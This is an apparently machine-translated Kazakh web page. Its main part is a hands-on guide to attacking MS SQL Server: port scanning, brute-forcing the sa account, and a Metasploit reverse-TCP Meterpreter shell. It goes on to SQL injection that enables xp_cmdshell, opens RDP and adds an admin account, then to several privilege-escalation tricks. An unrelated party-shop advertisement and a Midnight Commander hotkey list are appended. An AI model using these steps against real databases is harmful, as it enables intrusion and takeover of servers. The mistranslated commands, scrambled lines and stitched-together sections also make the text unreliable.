MS SQL деректер қорын бұзу әдістері мен құралдары. Неліктен MF Search таңдау керек?

ДҚБЖ тексерусіз ешбір елеулі пентест дерлік аяқталмайды, өйткені бұл шабуылдаушылар арасында қажетті ақпарат пен машинаның ең танымал есіктерінің бірі. Ірі жобаларда МҚ ДҚБЖ ретінде жиі қолданылады SQL сервері. Ал бүгін біз оның қауіпсіздігін тексеру туралы айтатын боламыз. Біз Американы ашпаймыз – тәжірибелі жолдастар тек білімдерін жаңартады, бірақ тақырыпты енді ғана игере бастағандар үшін мен барлығын мүмкіндігінше егжей-тегжейлі бөлшектеуге тырыстым.

ЕСКЕРТУ!

Барлық ақпарат тек ақпараттық мақсатта берілген. Автор да, редакторлар да осы мақаланың материалдары келтірген ықтимал зиян үшін жауапты емес.

Кіріспе

Ең маңызды сенімділік критерийлерінің бірі ақпараттық жүйе- МҚБЖ қауіпсіздігі. Оған бағытталған шабуылдар көп жағдайда маңызды болып табылады, өйткені олар жүйенің жұмысын ішінара немесе толығымен бұзуы мүмкін. Ірі ұйымдар өз инфрақұрылымын баяғыда қалыптастырғандықтан және бағдарламалық жасақтаманың жаңа нұсқаларын жаңарту оларға «үлкен» проблемаларды тудыратындықтан, ең көп тараған нұсқалар әлі де MS SQL Server 2005 және MS SQL Server 2008. Бірақ бұл жай ғана статистика, әрі қарай біз жасаймыз. барлық нұсқаларға ортақ векторлар мен әдістерді қарастыру. Ыңғайлы болу үшін біз барлық пентест процесін шартты түрде бірнеше кезеңге бөлеміз.

MS SQL қалай табуға болады

Пентестер жасайтын бірінші нәрсе - жәбірленушінің серверінде орналасқан қызметтер туралы ақпаратты жинау. Microsoft SQL серверін іздеу үшін білуіңіз керек ең маңызды нәрсе ол тыңдайтын порт нөмірлері болып табылады. Және ол 1433 (TCP) және 1434 (UDP) порттарын тыңдайды. Жәбірленушінің серверінде MS SQL бар-жоғын тексеру үшін оны сканерлеу керек. Ол үшін ms-sql-info сценарийімен Nmap пайдалануға болады. Сканерлеу келесідей басталады:

Nmap -p 1433 --script=ms-sql-info 192.168.18.128

Ал, оның орындалу нәтижесі суретте көрсетілген. 1.

Nmap-тен басқа, Metasploit mssql_ping үшін тамаша сканерлеу модулі бар, ол сондай-ақ шабуыл жасалған серверде MS SQL болуын анықтауға мүмкіндік береді:

Msf> көмекші/сканер/mssql/mssql_ping msf көмекші(mssql_ping) пайдалану > RHOSTS 192.167.1.87 RHOSTS орнату => 192.168.1.87 msf көмекші(mssql_ping) > іске қосу

Осы опциялардың бірін пайдалана отырып, сіз MS SQL серверде орнатылғанын немесе орнатылғанын жылдам анықтауға, сонымен қатар оның нұсқасын білуге ​​болады. Осыдан кейін келесі кезеңге өтуге болады.


Дөрекі күш

Серверде ДҚБЖ табылды делік. Ендігі міндет – оған қол жеткізу. Міне, біз аутентификация түріндегі бірінші кедергіге тап болдық. Жалпы, MS SQL аутентификацияның екі түрін қолдайды:

  1. Windows аутентификациясы - бұл SQL сервері пайдаланушы тіркелгісін қабылдайтын сенімді қосылым, егер ол бұрыннан тексерілген болса. операциялық жүйе.
  2. Аралас режим - SQL Server + Windows Authentication көмегімен аутентификация.

Әдепкі бойынша бірінші аутентификация режимі пайдаланылады, ал аралас режим бөлек іске қосылады. Іс жүзінде аралас режимсіз негізді табу өте қиын - бұл икемді.

Аралас режимнің кейбір артықшылықтары

  • SQL серверіне ескі қолданбаларды, сондай-ақ SQL серверінің аутентификациясын қажет ететін үшінші тарап қолданбаларын қолдауға мүмкіндік береді.
  • SQL серверіне Windows доменінің аутентификациясы жоқ пайдаланушылар көп операциялық жүйе орталарын қолдауға мүмкіндік береді.
  • Әзірлеушілерге мүмкіндік береді бағдарламалық қамтамасыз етубелгілі, алдын ала орнатылған атауларға негізделген күрделі рұқсат иерархиясын пайдаланып қолданбаларды таратыңыз SQL кіруСервер.

Әдетте бұл кезеңде біз оған қол жеткізе алмаймыз корпоративтік желі, сондықтан Windows арқылы аутентификацияны пайдалана алмаймыз. Бірақ таптық ашық порт MS SQL көмегімен, яғни аралас режим үшін стандартты болып табылатын sa admin тіркелгісін дөрекі түрде мәжбүрлеуге тырысамыз. Процесті автоматтандыру үшін біз Metasploit mssql_login модулін қолданамыз:

Msf > auxiliary/scanner/mssql/mssql_login msf auxiliary(mssql_login) > RHOSTS 172.16.2.104 орнату => 172.16.2.104 msf көмекші (mssql_PASS) >tLE/Settop_sss 6.2.104: 1433 - MSSQL - Аутентификация сканерін іске қосу. [*] 172.16.2.104:1433 - ЖҮРГІЗУ СӘТСІЗ: WORKSTATION\sa:admin (Қате:) [*] 172.16.2.104:1433 - ЖҮРГІЗУ СӘТСІЗ: WORKSTATION\sa:qwerty (қате)14.3:14.2 - ЖҮРГІЗУ СӘТСІЗ: WORKSTATION\sa:toor (Қате:) [+] 172.16.2.104:1433 - ЖҮРГІЗУ СӘТТІ: WORKSTATION\sa:root [*] 1 хосттың 1-і сканерленді (100% аяқталды) [*] Көмекші модуль бұрынғы аяқталды

Тамаша! Құпия сөз табылды, енді келесі қадамға көшуге болады. Бірақ серверде sa тіркелгісі болмаса ше? Содан кейін сізге логинді бұзу керек болады, ол үшін сценарийге оларды қайдан алуға болатын басқа файлды көрсету керек:

Msf көмекшісі(mssql_login) > USER_FILE /root/Desktop/user.txt орнату

Қабық алу

Егер біз sa тіркелгісін қалпына келтіре алсақ, дерекқорға кіре аламыз. Әрі қарай, сценарий қарапайым - біз операциялық жүйе деңгейінде пәрмендерді орындауға және Meterpreter қабығын серверге жүктеуге мүмкіндік беретін сақталған процедураны қосамыз. Керемет жігіттер бұл процесті автоматтандыратын Metasploit, mssql_payload үшін тамаша модуль жазды:

MSF> Пайдалану / Windows / Mssql / Mssql / mssql_payload msf пайдалану (MSSQL_PAYLOAL)> SET ROSF Exploit (MSSQL_PAYLOAL)> SET SACE MACSF (MSSQL_PAYLOAL)> Құпия сөз түбірі құпия сөзі => Root MSF пайдалану ( mssql_payload) > PAYLOAD орнату windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(mssql_payload) > LHOST 172.16.2.105 орнату LHOST => 172.16.2.100ger орындалды [*mand102 6/1022 46 байт ) [*] Есептеуіштің 1-сеансы ашылды (172.16.2.105:4444 -> 172.16.2.104:3987) 2015-02-20 10:42:52 -0500 meterpreter >

Meterpreter сеансы жасалды, енді сізде бар толық қолжетімділік. Әкімші хэшін тастауға, скриншоттарды түсіруге, файлдарды жасауға/жоюға, тінтуірді немесе пернетақтаны қосуға/өшіруге және т.б. болады. Бұл ену сынақтарында қолданылатын ең танымал қабық болуы мүмкін. Толық тізімЕсептеуіштің командаларын көруге болады.

Логин/пароль қалпына келтірілмесе не істеу керек?

Бірақ өзіңізді мақтамаңыз, mssql_login модулі сізді жиі қуанта алмайды: әкімшілер құпия сөзді әдепкі ретінде өте сирек қалдырады. Бұл жағдайда SQL инъекциясы қабық алуға көмектеседі. Пайдаланушы мақала нөмірін енгізетін HTML пішінін және әкімші тіркелгісі астында жұмыс істейтін дерекқорға қарапайым осал сұрауды елестетіп көріңіз:

$strSQL = "ТАҢДАУ * FROM . WHERE id=$id";

$id айнымалысы ешбір жолмен сүзілмейді, яғни кез келген сұрау sa әкімші тіркелгісі бойынша орындалатын SQL инъекциясын орындауға болады. Амалдық жүйе деңгейінде пәрмендерді орындау үшін әдепкі бойынша өшірілген xp_cmdshell сақталған процедурасын қосу керек. Оны белсендіру үшін бізге төрт сұрау жіберу керек:

  1. EXEC sp_configure "қосымша опцияларды көрсету",1;
  2. қайта конфигурациялау;
  3. ‘exec sp_configure "xp_cmdshell",1;
  4. қайта конфигурациялаңыз

sp_configure жүйесінің сақталған процедурасы сервер конфигурациясын көруге, құжаттауға, өзгертуге және қалпына келтіруге мүмкіндік береді. Серверге қол жеткізудің ең оңай жолы - тізілім арқылы RDP қосу, әкімші құқықтары бар пайдаланушыны жасау және қосылу.

RDP қосу:

10; reg қосу "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Пайдаланушы жасау:

10; exec master.dbo.xp_cmdshell "таза пайдаланушы түбірі немесе /ADD"

Біз құқықтарды береміз:

10;exec master.dbo.xp_cmdshell "таза жергілікті топ әкімшілерінің түбірі/қосу"

Артықшылықтарды жоғарылату. СЕНІМДІ

Алдыңғы жағдайда дерекқорға сұрау әкімшінің атынан жасалды, сондықтан операциялық жүйе командаларын орындау оңай болды. Бірақ егер бізде xp_cmdshell қосу құқығы жоқ қысқартылған тіркелгіміз болса ше? Бұл жағдайда бізге сақталатын процедуралар және дерекқордың белсендірілген TRUSTWORTHY қасиеті көмектеседі.

Бірақ ең басынан бастайық. Бұл вектордың неғұрлым анық болуы үшін мен дерекқор мен тіркелгілерді конфигурациялау кезеңінде бүкіл кезеңді сипаттаймын. Біз жасаймыз жаңа база YOLO: ДЕРЕКТЕР БАЗЫН ЖАСАУ YOLO; . marley құпия сөзі бар жаңа пайдаланушы bob жасаңыз: CREATE LOGIN bob WITH PASSWORD = "marley"; Біз bob пайдаланушысын YOLO дерекқорының иесі ретінде тағайындаймыз:

default_database = арқылы YOLO ALTER LOGIN ПАЙДАЛАНЫҢЫЗ; КІРУГЕН ПАЙДАЛАНУШЫ ЖАСАУ; EXEC sp_addrolemember, ;

Содан кейін біз осы дерекқордың нысандарына (көріністер, пайдаланушы функциялары, сақталатын процедуралар) еліктеу режимінде осы дерекқордан тыс нысандарға кіруге рұқсат беруді немесе рұқсат беруді анықтайтын TRUSTWORTHY қасиетін орнатамыз: ALTER DATABASE YOLO SET TRUSTWORTHY ON . bob:marley тіркелгісі арқылы SQL серверіне кіріңіз.

Тағайындау үшін сақталған процедураны жасаңыз есептік жазба bob sysadmin артықшылықтары:

YOLO GO ПРОЦЕДУРАСЫН ПАЙДАЛАНЫҢЫЗ sp_lvlup EXEC РЕТІНДЕ ИЕСІ РЕТІНДЕ ОРЫНДАУ sp_addsrvrolemember "bob","sysadmin" GO

Сақталған процедураны орындамас бұрын бізде sysadmin артықшылықтарының жоқтығына көз жеткізейік:

SELECT is_srvrolemember("sysadmin") нәтиже = 0

Жоғарыда жасалған sp_lvlup сақталған процедурасын орындаймыз:

YOLO EXEC sp_lvlup ПАЙДАЛАНЫҢЫЗ

Тағы да артықшылықтарымызды тексерейік:

SELECT is_srvrolemember("sysadmin") нәтиже = 1

sp_lvlup процедурасы OWNER ретінде іске қосу үшін жасалған, бұл жағдайда ол әкімші тіркелгісі болып табылады. Бұл мүмкін, себебі db_owner өзінің дерекқоры үшін сақталған процедураны жасады және бұл дерекқор сенімді ретінде конфигурацияланады, яғни TRUSTWORTHY сипаты On болып табылады. Бұл сипатсыз процедура артықшылықтардың болмауына байланысты сәтсіз болады. Белсендірілген СЕНІМДІ әрқашан жаман нәрсе емес. Мәселелер әкімшілер дерекқор иелерінің артықшылықтарын төмендетпеген кезде басталады. Нәтижесінде, sp_lvlup процедурасын орындағаннан кейін bob тіркелгісіне sysadmin артықшылықтары берілді. Қай дерекқорларда TRUSTWORTHY сипаты қосылғанын көру үшін келесі сұрауды пайдалануға болады:

ТАҢДАУ атын, дерекқордың_идентификаторын, sys.databases FROM сенімді_қосылы

Немесе бүкіл процесті автоматтандыру үшін Metasploit үшін mssql_escalate_dbowner_sqli модулін пайдалануға болады:

Көмекші/admin/mssql/mssql_escalate_dbowner_sqli жиынтығын пайдаланыңыз rhost 172.16.2.104 жиынтығы rport 80 жинағы GET_PATH /login.asp?id=1+and+1=;-- пайдалану ... [+] 172.16:8.2. Боб енді жүйе басқарушысы!

Артықшылықтарды жоғарылату. Пайдаланушы имитациясы

Келесі вектор пайдаланушы имперсонациясы деп аталады. Кейде сақталған процедуралар қолданбалы дерекқордан тыс орналасқан сыртқы ресурстарға қол жеткізуді қажет етеді. Бұл әрекетті орындау үшін әзірлеушілер сұрауды басқа тіркелгі ретінде орындауға мүмкіндік беретін IMPERSONATE артықшылығын және EXECUTE AS функциясын пайдаланады. Бұл өз бетінше осалдық емес, артықшылықтардың артуына әкелетін әлсіз конфигурация.

Алдыңғы мысалдағыдай, біз конфигурация сатысында вектордың мәнін түсіне бастаймыз. Ең алдымен біз төрт тіркелгіні жасаймыз:

ҚҰПИЯ СӨЗ АРҚА 1 пайдаланушы КІРУ = «құпия»; PASSWORD АРҚА 2 пайдаланушы КІРУ = "құпия"; КІРУ ЖҮРГІЗУ Пайдаланушы3 КІПШІ СӨЗІМЕН = "құпия"; ҚҰПИЯ СӨЗ АРҚАН 4 пайдаланушы КІРУ = "құпия";

Содан кейін біз User1 пайдаланушысына sa , User2 , User3 атынан сұрауларды орындау үшін артықшылықтар береміз:

USE master; ЖҮРГІЗУ ҮШІН КӨРСЕТУ::sa to ; ЖҮРГІЗУ ҮШІН КӨРСЕТУ::MyUser2 үшін ; ЖҮРГІЗУ ҮШІН КӨРСЕТУ::MyUser3 үшін ; ӨТ

User1 тіркелгісі астында SQL серверіне кіріп, басқа тіркелгілерден сұрауларды орындау артықшылықтарының қолданылғанын тексеріңіз.

sys.server_permissions ҚАТЫНАН бөлек b.name ТАҢДАУ a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id ҚАЙДА a.permission_name = "БЕЛГІЛІК"

Енді ағымдағы артықшылықтарды тексерейік:

ТАҢДАУ SYSTEM_USER SELECT IS_SRVROLEMEMBER("sysadmin") Нәтиже = 0

Енді нақты трюктің өзі - сұрауды sa атынан орындайық, өйткені жоғарыда біз User1 тіркелгісіне sa атынан сұрауларды орындау үшін артықшылықтар бердік:

КІРУ РЕТІНДЕ ОРЫНДАУ = "sa" SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER("sysadmin") Нәтиже = 1

Барлығы тәртіпте, енді біз sa ретінде пәрмендерді орындай аламыз, яғни xp_cmdshell сақталған процедурасын қоса аламыз:

EXEC sp_configure "қосымша опцияларды көрсету",1 RECONFIGURE GO EXEC sp_configure "xp_cmdshell",1 ҚАЙТА КОНФИГУРАЦИЯЛАУ GO

АҚПАРАТ

Әдепкі sysadmin тіркелгісі кез келген басқа пайдаланушылардың атынан сұрауларды іске қоса алады. Келесі сұрау барлық пайдаланушылармен кестені көрсетуге көмектеседі: SELECT * FROM master.sys.sysusers WHERE islogin = 1 . Басқа тіркелгі атынан сұрауды іске қосу үшін EXECUTE AS LOGIN = "AnyUser" пайдаланыңыз. Алдыңғы тіркелгіге оралу үшін ҚАЙТАЛУ сұрауын іске қосыңыз.

Бұл қулық. Автоматтандыру үшін, әдеттегідей, mssql_escalete_executeas_sqli Metasploit модулін пайдалануға болады:

Көмекші/admin/mssql/mssql_escalate_execute_as_sqliex жиынын пайдаланыңыз rhost 172.16.2.104 жиыны rport 80 жиыны GET_PATH /login.asp?id=1+and+1=;-- пайдалану ... [+] 172.16: - Sud.16.08. User1 енді жүйе басқарушысы!

Артықшылықтарды жоғарылату. Сертификатпен қол қойылған сақталатын процедуралар

Бұл векторды сипаттау үшін біз сертификатпен қол қойылған осал сақталған процедураны жасаймыз. Алдыңғы мысалдардан айырмашылығы, артықшылықты арттыру қажет емес:

  • қасиет TRUSTWORTHY = Қосулы ;
  • IMPERSONATE артықшылықтары және EXECUTE AS функциясы;
  • Сақталған процедураны басқа тіркелгі ретінде орындау үшін WITH EXECUTE AS сыныбымен теңшеу.

Минималды құқықтары бар тіркелгіні жасайық:

ҚҰПИЯ СӨЗМЕН ЖҮРГІЗУ TOR ЖАСАУ = "локи"; GO -- кірудің әдепкі дерекқорын default_database = көмегімен ALTER LOGIN орнатыңыз; ӨТ

СЕНІМДІ сипатты өшірейік: ALTER DATABASE шеберін орнату СЕНІМДІ ӨШІРУ . Tempdb дерекқорынан, сондай-ақ пайдаланушы енгізген дерекқордан атау бағанын көрсететін sp_xxx қарапайым сақталатын процедурасын жасайық:

МАСТЕРДІ ҚОЛДАНУ; ӨТУ ПРОЦЕДУРАНЫ ЖАСАУ sp_xxx @DbName varchar(max) БАСТАЛҒАН ДА @query-ді varchar(max) ретінде жариялау SET @query = """%"+ @DbName+"%"" сияқты атауды master..sysdatabase FROM ТАҢДАУ НЕМЕСЕ name=" "tempdb"""; ОРЫНДАУ(@query) АЯҚТАУ

Осыдан кейін біз MASTER дерекқоры үшін шифрлау кілтін жасаймыз:

ҚҰПИЯ СӨЗ БОЙЫНША МАСТЕР КІЛТІҢ ШІРЛЕРУІН ЖАСАУ = "құпия"; ӨТ

Ал сертификат:

CREATE CERTIFICATE sp_xxx_cert WITH SUBJECT = "sp_xxx қол қою үшін", EXPIRY_DATE = "2035-01-01"; ӨТ

Келесі қадам sp_xxx сертификатынан логин жасау болып табылады:

КЕРТИФИКАТТАН КІРУ sp_xxx_login sp_xxx_cert

Құрылған сертификатпен процедураға қол қойыңыз:

ҚОСУ sp_xxx СЕРТИФИКАТ БОЙЫНША sp_xxx_cert; ӨТ

Жүйеге кіру sp_lvlup2 sysadmin артықшылықтарын тағайындайық:

EXEC master..sp_addsrvrolemember @loginame = N"sp_xxx_login", @rolename = N"sysadmin" GO

Біз ҚОҒАМДЫҚ топ мүшелеріне процедураны орындау үшін артықшылықтар береміз:

sp_xxx ЖАҒДАЙЫНДА ОРЫНДАУДЫ ҚОҒАМДЫҚ

Нәтижесінде біз минималды құқықтары бар пайдаланушыны, енгізілген деректер қорының атын көрсететін sp_xxx сақталған процедурасын жасадық, sp_xxx_cert сертификатын жасап, онымен сақталған процедураға қол қойды, сонымен қатар сертификаттан sp_xxx_login логинін жасап, оны бердік. sysadmin артықшылықтары. Бұл дайындық бөлімін аяқтайды. Tor тіркелгісімен жүйеге кіріп, сақталған процедураны шақырыңыз:

EXEC MASTER.dbo.sp_xxx "мастер"

Күтілгендей, ол бізге біз көрсеткен дерекқордың атауын қайтарады - master және tempdb (3-суретті қараңыз).

Күріш. 3. EXEC сұрауының нәтижесі MASTER.dbo.sp_xxx "мастер"

EXEC MASTER.dbo.sp_sqli2 "master""--" сияқты сұрау тек басты қайтарады (4-суретті қараңыз).

4-сурет. EXEC сұрауының нәтижесі MASTER.dbo.xxx "мастер""--"

Тамаша. Бұл сақталған процедураның SQL инъекциясына сезімтал екенін білдіреді. Келесі сұрау арқылы артықшылықтарымызды тексерейік:

EXEC MASTER.dbo.sp_xxx "master""; SELECT is_srvrolemember(""sysadmin"")priv_certsp--" ретінде;

priv_cersp=1 (5-суретті қараңыз) бізде sysadmin артықшылықтары бар екенін білдіреді. EXEC master..xp_cmdshell "whoami" пәрменін орындаңыз; Ол жұмыс істемейді, себебі tor тіркелгісі минималды құқықтарға ие, бірақ егер бұл сұрау SQL инъекциясына ендірілген болса, онда бәрі жұмыс істейді (Cурет 6).

Ең қызығы, бұл трюк 2005–2014 нұсқаларында жұмыс істейді.

Қорытынды

Барлық осы векторлардағы айырмашылық айтарлықтай маңызды. Кейбір жағдайларда мақсатқа жету үшін сіз осы дерекқордың ресурстарын артықшылықтарды арттыратын сақталатын процедураны жасау және орындау үшін сыртта орналасқан нысандармен пайдалануға мүмкіндік беретін енгізілген СЕНІМДІ сипатымен шектей аласыз. Кейбір жағдайларда IMPERSONATE артықшылықтары мен EXECUTE AS функциясының арқасында басқа тіркелгілердің атынан сақталған процедураларды орындауға болады, ал үшінші жағдайда маңыздысы - сұрауды енгізуге болатын SQL инъекциясының болуы және ол басқа есептік жазбаның атынан орындалады. Нюанстар мен нәзіктіктерді толық түсіну үшін мен бұл векторларды жергілікті машинада сынауға кеңес берер едім.

Мақалада MS SQL ДҚБЖ шабуылдарының барлық векторларының толық сипаттамасы берілмейді, бірақ ол қауіпсіздікті үстірт талдау үшін өте пайдалы болады. Сондай-ақ, DB сілтемелері арқылы басқа бұзу векторымен танысуды ұсынамын, оны Алексей Тюрин желтоқсандағы ][ (№191) Easy Hack бөлімінде сипаттаған. Осымен бітті, назарларыңызға рахмет, тағы кездескенше.

Мереке ұйымдастыру – қиын іс. Ойланатын, ойланатын дүниелер көп. MF Search компаниясы тапсырмалардың бірі - декорды жеңілдетеді. Біз жинадық мерекелік тауарлар каталогы, онда әртүрлі бөлме әшекейлері мен мерекелерге пайдалы шағын заттар бар.

Мерекеге арналған тауарлар каталогы: сатып алу тізімін жасау

MF Search каталогын дайын сатып алу тізімі деп атауға болады. Оның ыңғайлы және егжей-тегжейлі құрылымы бар. Сіз бізден сатып ала аласыз:

  • Үйлену тойына арналған керек-жарақтар. Таспалар, конфеттилер, құлыптар, зал мен көлікке арналған декор және т.б.
  • Барлығы карнавал үшін. Бұл бөлімде сіз костюм кешіне, жаңа жылдық карнавалға, Хэллоуинге, тақырыптық туған күн кешіне және т.б. үшін қажетті аксессуарларды таба аласыз.
  • Бір рет қолданылатын ыдыс-аяқ. Дастархан әрқашан фарфор мен керамикадан тұрмайды. Мысалы, балалар үстелін қою немесе кеңседе туған күнді тойлау үшін қағаз табақтар мен шыныаяқтарды пайдалану ыңғайлы.
  • Кешке арналған ойыншықтар мен сабын көпіршіктері. Мерекеде балалардың жалығып кетуіне жол бермеу үшін олардың бос уақытын алдын ала қамдау керек. Сізге сәттілік! Біз барлық қажетті керек-жарақтарды жинадық, сізге тек оны пайдалануды табу жеткілікті.
  • Петардалар мен от шашулар. Олар мерекені жарқын және ұмытылмас етеді.
  • Шамдар. Тортты безендіріңіз, романтикалық кеш өткізіңіз, тосын сый жасаңыз - әр жағдайға арналған шамдар жиынтығы бар.

«MF Poisk» әуе шарлары

MF Poisk әуе шарларының ең ірі жеткізушісі болып табылады. Біз АҚШ, Испания және Мексика өндірушілерімен ынтымақтасамыз. Біз сапа сертификаттарын береміз және әр оқиға үшін өзіңіздің бірегей композицияңызды жасай алатындай шарлардың толық спектрін ұсынамыз. Біздің каталогтағы барлық шарларды латекс пен фольгаға бөлуге болады.

  • Латекс. Оларды түсіне, өлшеміне, пішініне, тақырыбына байланысты таңдауға болады. Біз өрнекті және өрнексіз шарларды сатамыз, сонымен қатар логотипті қолдану қызметін ұсынамыз. Классикалық опциялардан басқа біз әдеттен тыс нұсқаларды да ұсынамыз - соққы шарлары, байланыстырушы шарлар, фигуралық шарлар және модельдеу үшін.
  • Фольга. Таңдау үшін көп нәрсе бар: жаяу, үлкен, шағын және сандар түрінде. Таңдаудың қарапайымдылығы үшін біз өнімдерді тақырып бойынша сұрыптадық, сіз үйлену тойларына, туған күндерге, жаңа жылға және басқа да ерекше іс-шараларға арналған өнімдері бар бөлімге оңай өтуге болады.

Біз шарларға арналған керек-жарақтарды, мысалы, таяқтарды немесе салмақтарды бөлек орналастырдық. Дизайнерлерді жабдықпен - гелий цилиндрлері, сорғылар, басып шығару сиялары бар бөлім қызықтырады.

Неліктен MF Search таңдау керек?

  • Көпшілігі үлкен каталогшарлар.
  • Сапа сертификаттары жалпыға қолжетімді.
  • Тапсырыстың ең аз сомасы оқиғаның көлеміне қарамастан әрбір сатып алушыға қол жетімді.
  • Барлық мерекелік заттар бір жерде.
  • Үлкен көтерме саудаға жеңілдіктер.

Біз сіздің сайтта болуыңызды ыңғайлы етуге тырысамыз, сондықтан біз жаңа өнімдер, ең көп сатушылар, сондай-ақ «Жақында» хабарландырулары бар бөлек бөлімдер жасадық. Бізбен бірге сіз кешті ұйымдастыру оңай екенін көресіз!

Жалпы

Ctrl+x,j — Фондық тапсырмаларды көрсету

Ctrl-X+A - ағымдағы VFS (ftp, т.б.)

ESC+сан – F(цифр) сияқты (ESC+5 = F5)

F1-F12

F3 - файлды қарау

F3 - (Өңдеу кезінде) Мәтінді таңдауды бастау. F3 пернесін қайтадан басу таңдауды аяқтайды

F4 - Файлды өңдеу

F5 - таңдауды көшіру

F6 - таңдауды жылжыту

F8 - таңдауды жою

Shift+F1 – сол жақ панельдегі бекіту нүктелері арасында жылдам өту мәзірін ашады

Shift+F2 - оң жақ панельдегі бекіту нүктелері арасында жылдам өту мәзірін ашады

Shift+F5 – файлды сол каталогқа көшіру

Shift+F6 – файлды бір каталогқа жылжыту/атын өзгерту

Іздеу

ctrl-s — Файлды немесе каталогты жылдам іздеңіз

Alt-shift-? — Қосымша файл іздеу мәзірін шақырады

Пәрмен жолы

ctrl-a — курсор басына

ctrl-e - курсордың соңына дейін

Шығу-! — параметрлері бар команданы орындау

ctrl-x, p немесе alt+a - каталог атын қою

esc, енгізу; ctrl-enter - ағымдағы нысанды жіберу пәрмен жолы

ctrl-x,t — Барлық таңдалған нысандарды пәрмен жолына қойыңыз

esc, tab – пәрменді қосу

alt-a - ағымдағы каталогты пәрмен жолына қойыңыз

Alt-TAB (ESC+TAB) - Жүктеп алынған файлдарды іздеуге арналған ең керемет комбинация (мысалы, сіз оны қалай дұрыс жазуды ұмытып қалдыңыз: netcfg немесе netconfig. Пәрмен жолында net теріп, Alt-TAB пернесін басыңыз - олар бірден көрсетіледі. сіз нені іске қоса аласыз, ол net сөздерінен басталады) екі рет басыңыз!
alt-shift-! — команда нәтижесін шығару
ctrl-shift-v - алмасу буферінен қою

Файл операциялары

Shift+F4 – жаңа файл жасайды

shift-f6 - файлдың атын өзгерту

Ctrl+x,i — Екінші панельдегі ағымдағы нысан туралы ақпаратты жылдам қарау

Ctrl+x,q - екінші панельде файлдың мазмұнын жылдам қарау

балама-. - жасырын файлдарды көрсету

ctrl-x, c - файл рұқсаттары

ctrl-x, o - файл иесі

Shift-F3 - файлды қарау (шикі/кеңейтімсіз)

Ctrl + x v - салыстырмалы символдық сілтеме жасау

trl+x,Ctrl+s — Символдық сілтемені өңдеу

ctrl-t — файлды белгілеңіз немесе құсбелгіні алып тастаңыз

+ — файлдар тобын қалыпты өрнек арқылы таңдау (белгілеу).

\ - файлдар тобын алып тастаңыз

ctrl-x, ctrl-d – файлдарды салыстыру

ctrl-t немесе Кірістіру — Ағымдағы нысанды таңдаңыз

Каталогтармен жұмыс

alt-o — көрші панельде курсордың астындағы каталогты ашыңыз

alt-i — көрші панельде ағымдағы каталогты ашыңыз

ctrl-\ - «Каталог каталогын» көрсету

alt-shift-h — Каталог журналын көрсету

Ctrl+l – экранды қайта сызу

Ctrl+Space – ағымдағы каталогтың өлшемін көрсету

Ctrl-X+D – каталогтарды салыстыру

ESC+C – каталогты жылдам өзгерту

alt-c - «Каталогты жылдам өзгерту» терезесі

Панельдермен жұмыс

Ctrl-O - панельдерді өшіріп, олардың астында не бар екенін көріңіз (ТЕК Linux жүйесінде жұмыс істейді!) Мұнда сіз қабықшада да жұмыс істей аласыз.

alt-, — Панельді көрсету режимін ауыстыру (тік/көлденең)

alt-t егжей-тегжейлі панельді көрсету режимін ауыстырады

Meta+c - белсенді тақтадағы ағымдағы каталогты жылдам өзгерту үшін мәзірді шақырады

ctrl-u - панельдерді ауыстыру

alt-g - панельде көрсетілген тізімдегі бірінші файлды немесе каталогты белгілейді (негізінен Home пернесі сияқты, курсорды жоғары жылжытады)

alt-e — панельді кодтауды өзгерту

Ctrl + x i - пассивті панельді «Ақпарат» режиміне ауыстырады

Ctrl + x q - пассивті панельді жылдам қарау режиміне қояды

ctrl-x! — мәзір → «Панелизация шарты» (git)

Әңгіме

alt+h; esc, h - пәрмен жолы тарихы

alt-p, alt-n - алдыңғы (келесі) пәрмен жолын қайтару

alt-y. Каталогты шарлау журналынан алдыңғы каталогқа өту; ‘ таңбасына тінтуірді басумен тең<‘ в верхнем углу панели.

alt-u. Каталогты шарлау журналынан келесі каталогқа өту; «>» таңбасын тінтуірмен басумен тең.

Редактор

F4 (редакторда) - іздеу және ауыстыру

F6 (редакторда) - тұрақты өрнек арқылы іздеу

Shift-Del (редакторда) - блокты жою (және оны алмасу буферіне қою)

Shift-Ins (редакторда) - буферден блокты енгізу (тіпті басқа консольде де жұмыс істейді!!!) Әр түрлі консольдерде екі немесе одан да көп файлдарды өңдеуге және олардың арасында блоктарды жылжытуға болады.

Shift+F3 - мәтін блогын таңдауды бастау. F3 пернесін қайтадан басу таңдауды аяқтайды

Shift+F5 - mc ішкі алмасу буферінен мәтінді қою (сыртқы файлды оқу)

Meta+i - аралық сақтағыштан пішімделген мәтінді қою кезінде ыңғайлы «каретканы қайтару арқылы автоматты туралау» режимін ауыстырады

Meta+l — Оның нөмірі бойынша жолға өтіңіз

Meta+q - әріпті енгізу (басып шығармайтын таңбаны қараңыз). төмендегі кесте

Meta+t — Таңдалған мәтін жолдарын сұрыптау

Meta+u - сыртқы пәрменді орындаңыз және оның шығысын курсор астындағы орынға енгізіңіз

Ctrl+f — Таңдалған фрагментті ішкі mc алмасу буферіне көшіру (сыртқы файлға жазу)

Ctrl+k - жолдың соңына дейін жолдың бөлігін жою

Ctrl+n - жаңа файл жасау

Ctrl+s — синтаксисті бөлектеуді қосу немесе өшіру

Ctrl+t — Мәтінді кодтауды таңдаңыз

Ctrl+u - әрекеттерді болдырмау

Ctrl+x - Келесінің соңына өту

Ctrl+y - жолды жою

Ctrl+z - алдыңғы сөздің басына өту

Meta+Enter — функция анықтамасына өтуге арналған диалог

Meta+- - функция анықтамасына өткеннен кейін оралу

Meta++ - функция анықтамасына алға жылжу

Meta+n — Жол нөмірлерін көрсетуді қосу/өшіру

қойындысы «Тұрақты блоктар» опциясы өшірілген болса, таңдалған мәтінді оңға жылжытады

Мета-қойынды «Тұрақты блоктар» опциясы өшірілген болса, таңдалған мәтінді солға жылжытады

Shift+көрсеткілер Мәтінді таңдау

Мета+көрсеткілер Тік блокты таңдаңыз

Meta+Shift+ - қойындылар мен бос орындарды көрсету режимін ауыстыру

Meta+Shift++ «Тасымалдауды қайтару арқылы автоматты туралау» режимін ауыстыру

